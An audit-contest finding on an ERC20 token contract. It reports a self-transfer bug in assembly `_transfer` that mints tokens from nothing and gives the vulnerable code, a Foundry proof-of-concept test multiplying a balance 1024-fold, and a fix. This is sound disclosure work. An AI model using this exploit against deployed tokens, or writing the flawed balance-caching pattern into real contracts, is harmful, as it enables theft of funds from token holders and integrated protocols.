Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Self-Transfer in `_transfer` Creates Tokens Out of Thin Air, Enabling Unlimited Token Minting

Author Revealed upon completion

Description

In a standard ERC20 implementation, when a user transfers tokens to themselves (from == to), the balance should remain unchanged. The transfer should simply debit and credit the same account with no net effect.

The _transfer function in ERC20Internals.sol reads both the sender's and receiver's balances before performing any storage writes. When from == to, both slots point to the same storage location, but toAmount is cached with the original balance value. After subtracting from the sender's balance, the receiver's balance is then set to the original cached value plus the transfer amount, effectively creating tokens out of thin air.

Both transfer() and transferFrom() are affected since they both call _transfer() internally.

// @> Root cause in ERC20Internals.sol::_transfer (lines 106-131)
function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
// ... validation ...
let ptr := mload(0x40)
let baseSlot := _balances.slot
mstore(ptr, from)
mstore(add(ptr, 0x20), baseSlot)
let fromSlot := keccak256(ptr, 0x40)
let fromAmount := sload(fromSlot) // @> Read sender balance (e.g., 100)
mstore(ptr, to)
mstore(add(ptr, 0x20), baseSlot)
let toSlot := keccak256(ptr, 0x40) // @> When from==to, toSlot == fromSlot
let toAmount := sload(toSlot) // @> Read receiver balance (also 100, cached)
if lt(fromAmount, value) {
// ... revert ...
}
sstore(fromSlot, sub(fromAmount, value)) // @> Store 100-50=50 to slot
sstore(toSlot, add(toAmount, value)) // @> Store 100+50=150 to SAME slot, overwrites!
success := 1
// ... event ...
}
}

Risk

Likelihood: High

  • Any user can call transfer(msg.sender, amount) at any time with any amount up to their balance

  • No special permissions, conditions, or external dependencies required

  • Attack is trivially repeatable to exponentially increase balance

Impact: Critical

  • Attackers can mint unlimited tokens by repeatedly self-transferring

  • Total supply becomes desynced from actual circulating balances

  • Complete destruction of token economics and trust

  • All DeFi integrations (AMMs, lending protocols, etc.) can be drained

  • Token becomes worthless as supply is effectively infinite

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract SelfTransferExploit is Test {
Token public token;
function setUp() public {
token = new Token();
}
function test_SelfTransfer_CreatesTokens() public {
address alice = makeAddr("alice");
// Mint 100 tokens to Alice
token.mint(alice, 100e18);
assertEq(token.balanceOf(alice), 100e18);
assertEq(token.totalSupply(), 100e18);
// Alice transfers 50 tokens to herself
vm.prank(alice);
token.transfer(alice, 50e18);
// Alice now has 150 tokens instead of 100!
assertEq(token.balanceOf(alice), 150e18);
// Total supply is unchanged - accounting is completely broken
assertEq(token.totalSupply(), 100e18);
}
function test_UnlimitedMint_Attack() public {
address attacker = makeAddr("attacker");
// Start with just 1 token
token.mint(attacker, 1e18);
// Perform 10 self-transfers to multiply balance by 2^10 = 1024x
vm.startPrank(attacker);
for(uint i = 0; i < 10; i++) {
uint256 currentBalance = token.balanceOf(attacker);
token.transfer(attacker, currentBalance);
}
vm.stopPrank();
// Started with 1e18, now has 1024e18
assertEq(token.balanceOf(attacker), 1024e18);
}
}

Test Output:

[PASS] test_SelfTransfer_CreatesTokens() (gas: 73418)
Logs:
Alice balance after self-transfer: 150000000000000000000
Total supply (unchanged): 100000000000000000000
[PASS] test_UnlimitedMint_Attack() (gas: 254952)
Logs:
Initial balance: 1000000000000000000
Final balance after 10 self-transfers: 1024000000000000000000

Recommended Mitigation

Add an early return when from == to to prevent the self-transfer edge case, or restructure the logic to handle this case correctly:

function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
if iszero(from) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
if iszero(to) {
mstore(0x00, shl(224, 0xec442f05))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
+ // Handle self-transfer: emit event but don't modify balances
+ if eq(from, to) {
+ let ptr := mload(0x40)
+ mstore(ptr, value)
+ log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, from, to)
+ success := 1
+ leave
+ }
let ptr := mload(0x40)
let baseSlot := _balances.slot
// ... rest of function unchanged ...
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!